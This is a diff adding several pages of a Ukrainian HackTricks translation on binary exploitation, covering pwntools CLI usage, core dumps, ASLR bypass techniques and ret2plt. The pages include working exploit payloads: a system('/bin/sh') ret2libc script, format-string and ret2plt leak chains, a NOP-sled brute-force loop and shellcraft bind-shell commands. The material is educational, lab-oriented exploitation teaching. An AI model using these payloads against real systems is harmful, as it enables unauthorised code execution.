||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
pip3 install pwntools
|
||||
```
|
||||
## Взлом asm
|
||||
|
||||
Отримати **опкоди** з рядка або файлу.
|
||||
```
|
||||
pwn asm "jmp esp"
|
||||
pwn asm -i <filepath>
|
||||
```
|
||||
**Можна вибрати:**
|
||||
|
||||
* тип виводу (raw, hex, string, elf)
|
||||
* контекст виводу файлу (16, 32, 64, linux, windows...)
|
||||
* уникнути байти (нові рядки, нуль, список)
|
||||
* вибрати кодувальник, налагоджувати shellcode за допомогою gdb, запустити вивід
|
||||
|
||||
## **Pwn checksec**
|
||||
|
||||
Скрипт checksec
|
||||
```
|
||||
pwn checksec <executable>
|
||||
```
|
||||
## Зламати constgrep
|
||||
|
||||
## Зламати циклічно
|
||||
|
||||
Отримати шаблон
|
||||
```
|
||||
pwn cyclic 3000
|
||||
pwn cyclic -l faad
|
||||
```
|
||||
**Можна вибрати:**
|
||||
|
||||
* Використаного алфавіту (за замовчуванням малі літери)
|
||||
* Довжину унікального шаблону (за замовчуванням 4)
|
||||
* Контекст (16,32,64,linux,windows...)
|
||||
* Взяти зсув (-l)
|
||||
|
||||
## Pwn debug
|
||||
|
||||
Прикріпити GDB до процесу
|
||||
```
|
||||
pwn debug --exec /bin/bash
|
||||
pwn debug --pid 1234
|
||||
pwn debug --process bash
|
||||
```
|
||||
**Можна вибрати:**
|
||||
|
||||
* За виконавчим файлом, за ім'ям або за контекстом pid (16,32,64,linux,windows...)
|
||||
* gdbscript для виконання
|
||||
* шлях до sysroot
|
||||
|
||||
## Вимкнути захист nx для бінарного файлу
|
||||
```
|
||||
pwn disablenx <filepath>
|
||||
```
|
||||
## Розібрати disasm
|
||||
|
||||
Розібрати шістнадцяткові опкоди
|
||||
```
|
||||
pwn disasm ffe4
|
||||
```
|
||||
**Можливі варіанти вибору:**
|
||||
|
||||
* контекст (16,32,64,linux,windows...)
|
||||
* базова адреса
|
||||
* колір (за замовчуванням)/без кольору
|
||||
|
||||
## Pwn elfdiff
|
||||
|
||||
Вивести відмінності між 2 файлами
|
||||
```
|
||||
pwn elfdiff <file1> <file2>
|
||||
```
|
||||
## Отримати шістнадцяткове представлення
|
||||
```bash
|
||||
pwn hex hola #Get hex of "hola" ascii
|
||||
```
|
||||
## Отримати шістнадцятковий дамп
|
||||
```
|
||||
pwn phd <file>
|
||||
```
|
||||
**Можна вибрати:**
|
||||
|
||||
* Кількість байтів для відображення
|
||||
* Кількість байтів на кожному рядку для виділення байту
|
||||
* Пропустити байти на початку
|
||||
|
||||
## Pwn pwnstrip
|
||||
|
||||
## Pwn scrable
|
||||
|
||||
## Pwn shellcraft
|
||||
|
||||
Отримати шелл-коди
|
||||
```
|
||||
pwn shellcraft -l #List shellcodes
|
||||
pwn shellcraft -l amd #Shellcode with amd in the name
|
||||
pwn shellcraft -f hex amd64.linux.sh #Create in C and run
|
||||
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
|
||||
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
|
||||
```
|
||||
**Можна вибрати:**
|
||||
|
||||
* шеллкод та аргументи для шеллкоду
|
||||
* Вихідний файл
|
||||
* формат виводу
|
||||
* налагодження (прикріпити dbg до шеллкоду)
|
||||
* перед (пастка налагодження перед кодом)
|
||||
* після
|
||||
* уникати використання опкодів (за замовчуванням: не нуль та новий рядок)
|
||||
* Запустити шеллкод
|
||||
* Колір/без кольору
|
||||
* перелік системних викликів
|
||||
* перелік можливих шеллкодів
|
||||
* Згенерувати ELF як спільну бібліотеку
|
||||
|
||||
## Шаблон Pwn
|
||||
|
||||
Отримати шаблон Python
|
||||
```
|
||||
pwn template
|
||||
```
|
||||
**Можна вибрати:** хост, порт, користувач, пароль, шлях та тихий режим
|
||||
|
||||
## Pwn unhex
|
||||
|
||||
З шістнадцяткового коду в рядок
|
||||
```
|
||||
pwn unhex 686f6c61
|
||||
```
|
||||
## Оновлення Pwn
|
||||
|
||||
Для оновлення pwntools
|
||||
```
|
||||
pwn update
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи [**telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,55 @@
|
|||
# Загальні захисти та обхідні шляхи для бінарних експлойтів
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Увімкнення файлів Core
|
||||
|
||||
**Файли Core** - це тип файлів, які генеруються операційною системою, коли процес впадає. Ці файли захоплюють зображення пам'яті впавшого процесу на момент його завершення, включаючи пам'ять процесу, регістри та стан лічильника програм, серед інших деталей. Цей знімок може бути надзвичайно цінним для відлагодження та розуміння причини вибуху.
|
||||
|
||||
### **Увімкнення генерації файлів Core Dump**
|
||||
|
||||
За замовчуванням багато систем обмежують розмір файлів Core на 0 (тобто не генерують файли Core), щоб заощадити місце на диску. Щоб увімкнути генерацію файлів Core, можна використовувати команду **`ulimit`** (у bash або подібних оболонках) або налаштувати системні налаштування.
|
||||
|
||||
* **Використання ulimit**: Команда `ulimit -c unlimited` дозволяє поточній оболонці створювати файли Core необмеженого розміру. Це корисно для сеансів відлагодження, але не є постійним після перезавантажень або нових сеансів.
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
* **Постійна конфігурація**: Для більш постійного рішення, ви можете відредагувати файл `/etc/security/limits.conf`, щоб додати рядок, подібний до `* soft core unlimited`, що дозволяє всім користувачам генерувати файлів ядра необмеженого розміру без необхідності вручну встановлювати ulimit у своїх сеансах.
|
||||
```markdown
|
||||
* soft core unlimited
|
||||
```
|
||||
### **Аналіз ядерних файлів за допомогою GDB**
|
||||
|
||||
Для аналізу ядерного файлу можна використовувати інструменти для налагодження, такі як GDB (GNU Debugger). Припускаючи, що у вас є виконуваний файл, який створив дамп ядра, а сам ядерний файл має назву `core_file`, ви можете розпочати аналіз за допомогою:
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
Ця команда завантажує виконуваний файл та файл ядра в GDB, що дозволяє вам перевірити стан програми в момент аварії. Ви можете використовувати команди GDB для дослідження стеку, перевірки змінних та розуміння причин аварії.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
|
@ -0,0 +1,295 @@
|
|||
# ASLR
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
**Випадкове розташування простору адрес (ASLR)** - це техніка безпеки, яка використовується в операційних системах для **випадкового розташування адрес пам'яті**, які використовуються системними та програмними процесами. Це значно ускладнює передбачення місця конкретних процесів та даних, таких як стек, купа та бібліотеки, тим самим запобігаючи певним типам експлойтів, зокрема переповненням буфера.
|
||||
|
||||
### **Перевірка статусу ASLR**
|
||||
|
||||
Щоб **перевірити** статус ASLR в системі Linux, ви можете прочитати значення з файлу **`/proc/sys/kernel/randomize_va_space`**. Значення, збережене в цьому файлі, визначає тип застосованого ASLR:
|
||||
|
||||
* **0**: Відсутнє випадкове розташування. Все статичне.
|
||||
* **1**: Консервативне випадкове розташування. Рандомізуються спільні бібліотеки, стек, mmap(), сторінка VDSO.
|
||||
* **2**: Повне випадкове розташування. Крім елементів, які рандомізуються консервативним варіантом, пам'ять, керована через `brk()`, рандомізується.
|
||||
|
||||
Ви можете перевірити статус ASLR за допомогою наступної команди:
|
||||
```bash
|
||||
cat /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Вимкнення ASLR**
|
||||
|
||||
Для **вимкнення** ASLR встановіть значення `/proc/sys/kernel/randomize_va_space` на **0**. Зазвичай не рекомендується вимикати ASLR, крім випадків тестування або налагодження. Ось як це можна зробити:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
Ви також можете вимкнути ASLR для виконання за допомогою:
|
||||
```bash
|
||||
setarch `arch` -R ./bin args
|
||||
setarch `uname -m` -R ./bin args
|
||||
```
|
||||
### **Увімкнення ASLR**
|
||||
|
||||
Для **увімкнення** ASLR можна записати значення **2** у файл `/proc/sys/kernel/randomize_va_space`. Зазвичай для цього потрібні привілеї root. Повне випадкове розташування можна ввімкнути за допомогою наступної команди:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Стійкість після перезавантаження**
|
||||
|
||||
Зміни, внесені за допомогою команд `echo`, є тимчасовими і будуть скинуті при перезавантаженні. Щоб зробити зміну стійкою, вам потрібно відредагувати файл `/etc/sysctl.conf` та додати або змінити наступний рядок:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
kernel.randomize_va_space=0 # Disable ASLR
|
||||
```
|
||||
Після редагування `/etc/sysctl.conf` застосуйте зміни за допомогою:
|
||||
```bash
|
||||
sudo sysctl -p
|
||||
```
|
||||
Це забезпечить, що ваші налаштування ASLR залишаться після перезавантаження.
|
||||
|
||||
## **Обхід**
|
||||
|
||||
### 32-бітне грубе насильство
|
||||
|
||||
PaX розділяє простір адрес процесу на **3 групи**:
|
||||
|
||||
* **Код та дані** (ініціалізовані та неініціалізовані): `.text`, `.data` та `.bss` —> **16 біт** ентропії у змінній `delta_exec`. Ця змінна випадково ініціалізується з кожним процесом та додається до початкових адрес.
|
||||
* **Пам'ять**, виділена за допомогою `mmap()` та **спільні бібліотеки** —> **16 біт**, позначена як `delta_mmap`.
|
||||
* **Стек** —> **24 біти**, позначена як `delta_stack`. Однак фактично використовує **11 біт** (від 10-го до 20-го байта включно), вирівняні на **16 байт** —> Це призводить до **524,288 можливих реальних адрес стеку**.
|
||||
|
||||
Попередні дані для 32-бітних систем, а зменшена кінцева ентропія дозволяє обійти ASLR, спробувавши виконання знову і знову, поки експлойт успішно завершиться.
|
||||
|
||||
#### Ідеї для грубого насильства:
|
||||
|
||||
* Якщо у вас достатньо велике переповнення для розміщення **великого NOP-ковзання перед кодом оболонки**, ви можете просто грубо насильно перебирати адреси в стеку, поки потік **перескочить деяку частину NOP-коду**.
|
||||
* Ще один варіант для цього у випадку, якщо переповнення не настільки велике і експлойт може бути запущений локально, це можливо **додати NOP-код та код оболонки в змінну середовища**.
|
||||
* Якщо експлойт локальний, ви можете спробувати грубо насильно визначити базову адресу libc (корисно для 32-бітних систем):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Якщо ви атакуєте віддалений сервер, ви можете спробувати **перебрати адресу функції `usleep` у `libc`**, передаючи як аргумент 10 (наприклад). Якщо в якийсь момент **сервер витрачає додаткові 10 секунд на відповідь**, ви знайшли адресу цієї функції.
|
||||
|
||||
{% hint style="success" %}
|
||||
На 64-бітних системах ентропія набагато вища, і це не повинно бути можливим.
|
||||
{% endhint %}
|
||||
|
||||
### Перебор стеку 64 біти
|
||||
|
||||
Можливо зайняти велику частину стеку змінними середовища, а потім спробувати зловживати бінарним файлом сотні/тисячі разів локально, щоб експлуатувати його.\
|
||||
Наступний код показує, як можна **просто вибрати адресу в стеці** і кожні **кілька сотень виконань** ця адреса буде містити **інструкцію NOP**:
|
||||
```c
|
||||
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
unsigned long long address = 0xffffff1e7e38;
|
||||
unsigned int* ptr = (unsigned int*)address;
|
||||
unsigned int value = *ptr;
|
||||
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
```python
|
||||
import subprocess
|
||||
import traceback
|
||||
|
||||
# Start the process
|
||||
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
|
||||
n_nops = int(128000/4)
|
||||
shellcode_env_var = nop * n_nops
|
||||
|
||||
# Define the environment variables you want to set
|
||||
env_vars = {
|
||||
'a': shellcode_env_var,
|
||||
'b': shellcode_env_var,
|
||||
'c': shellcode_env_var,
|
||||
'd': shellcode_env_var,
|
||||
'e': shellcode_env_var,
|
||||
'f': shellcode_env_var,
|
||||
'g': shellcode_env_var,
|
||||
'h': shellcode_env_var,
|
||||
'i': shellcode_env_var,
|
||||
'j': shellcode_env_var,
|
||||
'k': shellcode_env_var,
|
||||
'l': shellcode_env_var,
|
||||
'm': shellcode_env_var,
|
||||
'n': shellcode_env_var,
|
||||
'o': shellcode_env_var,
|
||||
'p': shellcode_env_var,
|
||||
}
|
||||
|
||||
cont = 0
|
||||
while True:
|
||||
cont += 1
|
||||
|
||||
if cont % 10000 == 0:
|
||||
break
|
||||
|
||||
print(cont, end="\r")
|
||||
# Define the path to your binary
|
||||
binary_path = './aslr-testing'
|
||||
|
||||
try:
|
||||
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
||||
output = process.communicate()[0]
|
||||
if "0xd5" in str(output):
|
||||
print(str(cont) + " -> " + output)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
print(traceback.format_exc())
|
||||
pass
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### Локальна інформація (`/proc/[pid]/stat`)
|
||||
|
||||
Файл **`/proc/[pid]/stat`** процесу завжди доступний для читання кожному і він **містить цікаву** інформацію, таку як:
|
||||
|
||||
* **startcode** & **endcode**: Адреси вище і нижче з **TEXT** бінарного файлу
|
||||
* **startstack**: Адреса початку **стеку**
|
||||
* **start\_data** & **end\_data**: Адреси вище і нижче, де знаходиться **BSS**
|
||||
* **kstkesp** & **kstkeip**: Поточні адреси **ESP** та **EIP**
|
||||
* **arg\_start** & **arg\_end**: Адреси вище і нижче, де знаходяться **аргументи командного рядка**
|
||||
* **env\_start** & **env\_end**: Адреси вище і нижче, де знаходяться **змінні середовища**
|
||||
|
||||
Отже, якщо зловмисник знаходиться на тому ж комп'ютері, що і бінарний файл, який використовується, і цей бінарний файл не очікує переповнення від сирої аргументації, але від іншого **вводу, який може бути створений після читання цього файлу**. Для зловмисника можливо **отримати деякі адреси з цього файлу та побудувати з них зміщення для експлойту**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Для отримання додаткової інформації про цей файл перегляньте [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html), шукаючи `/proc/pid/stat`
|
||||
{% endhint %}
|
||||
|
||||
### Маючи витік
|
||||
|
||||
* **Завдання полягає в наданні витоку**
|
||||
|
||||
Якщо вам надано витік (легкі завдання CTF), ви можете розрахувати зміщення з нього (припускаючи, наприклад, що ви знаєте точну версію libc, яка використовується в системі, яку ви експлуатуєте). Цей приклад експлойту взято з [**прикладу звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (перевірте цю сторінку для отримання додаткових деталей):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./vuln-32')
|
||||
libc = elf.libc
|
||||
p = process()
|
||||
|
||||
p.recvuntil('at: ')
|
||||
system_leak = int(p.recvline(), 16)
|
||||
|
||||
libc.address = system_leak - libc.sym['system']
|
||||
log.success(f'LIBC base: {hex(libc.address)}')
|
||||
|
||||
payload = flat(
|
||||
'A' * 32,
|
||||
libc.sym['system'],
|
||||
0x0, # return address
|
||||
next(libc.search(b'/bin/sh'))
|
||||
)
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
* **ret2plt**
|
||||
|
||||
Зловживанням переповненням буфера можливо використати **ret2plt** для витіснення адреси функції з libc. Перевірте:
|
||||
|
||||
{% content-ref url="ret2plt.md" %}
|
||||
[ret2plt.md](ret2plt.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Формат рядків довільного читання**
|
||||
|
||||
Точно так само, як у випадку з ret2plt, якщо у вас є довільне читання через вразливість формату рядків, можливо витіснити адресу **функції libc** з GOT. Наступний [**приклад звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
payload += b'%3$s' # The third parameter points at the start of the buffer
|
||||
|
||||
# this part is only relevant if you need to call the main function again
|
||||
|
||||
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
||||
payload += p32(elf.symbols['main'])
|
||||
```
|
||||
Ви можете знайти більше інформації про довільне читання форматних рядків за посиланням:
|
||||
|
||||
{% content-ref url="../../format-strings/" %}
|
||||
[format-strings](../../format-strings/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Ret2ret & Ret2pop
|
||||
|
||||
Спробуйте обійти ASLR, зловживаючи адресами всередині стеку:
|
||||
|
||||
{% content-ref url="ret2ret.md" %}
|
||||
[ret2ret.md](ret2ret.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### vsyscall
|
||||
|
||||
Механізм **`vsyscall`** призначений для підвищення продуктивності, дозволяючи виконувати певні системні виклики в просторі користувача, хоча вони фундаментально належать ядру. Критичною перевагою **vsyscalls** є їх **фіксовані адреси**, які не піддаються **ASLR** (випадкове розташування простору адрес). Ця фіксована природа означає, що зловмисники не потребують уразливості на витік інформації для визначення їх адрес та використання їх у експлойті.\
|
||||
Однак тут не буде знайдено дуже цікавих гаджетів (хоча, наприклад, можливо отримати еквівалент `ret;`)
|
||||
|
||||
(Наступний приклад та код взято з [**цього опису**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
||||
|
||||
Наприклад, зловмисник може використовувати адресу `0xffffffffff600800` у своєму експлойті. Хоча спроба безпосередньо перейти до інструкції `ret` може призвести до нестабільності або аварійного завершення після виконання кількох гаджетів, перехід на початок `syscall`, наданої розділом **vsyscall**, може бути успішним. Ретельно розмістивши гаджет **ROP**, який веде виконання до цієї адреси **vsyscall**, зловмисник може досягти виконання коду, не потребуючи обходу **ASLR** для цієї частини експлойту.
|
||||
```
|
||||
ef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
||||
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
||||
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
|
||||
gef➤ x/8g 0xffffffffff600000
|
||||
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
|
||||
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
|
||||
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
|
||||
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
|
||||
gef➤ x/4i 0xffffffffff600800
|
||||
0xffffffffff600800: mov rax,0x135
|
||||
0xffffffffff600807: syscall
|
||||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
gef➤ x/4i 0xffffffffff600800
|
||||
0xffffffffff600800: mov rax,0x135
|
||||
0xffffffffff600807: syscall
|
||||
0xffffffffff600809: ret
|
||||
0xffffffffff60080a: int3
|
||||
```
|
||||
### vDSO
|
||||
|
||||
Зверніть увагу, яким чином можливо **обійти ASLR, зловживаючи vdso**, якщо ядро скомпільоване з CONFIG\_COMPAT\_VDSO, оскільки адреса vdso не буде випадковою. Для отримання додаткової інформації перегляньте:
|
||||
|
||||
{% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %}
|
||||
[ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md)
|
||||
{% endcontent-ref %}
|
|
@ -0,0 +1,90 @@
|
|||
# Ret2plt
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Метою цієї техніки є **витік адреси функції з PLT**, щоб обійти ASLR. Це тому, що, наприклад, якщо ви витікаєте адресу функції `puts` з libc, ви потім можете **обчислити базу `libc`** та обчислити зміщення для доступу до інших функцій, таких як **`system`**.
|
||||
|
||||
Це можна зробити за допомогою пакету `pwntools`, наприклад ([**звідси**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
```python
|
||||
# 32-bit ret2plt
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main'],
|
||||
elf.got['puts']
|
||||
)
|
||||
|
||||
# 64-bit
|
||||
payload = flat(
|
||||
b'A' * padding,
|
||||
POP_RDI,
|
||||
elf.got['puts']
|
||||
elf.plt['puts'],
|
||||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
Зверніть увагу, як **`puts`** (використовуючи адресу з PLT) викликається з адресою `puts`, розташованою в GOT (глобальній таблиці зміщень). Це тому, що на момент, коли `puts` друкує запис GOT `puts`, цей **запис буде містити точну адресу `puts` в пам'яті**.
|
||||
|
||||
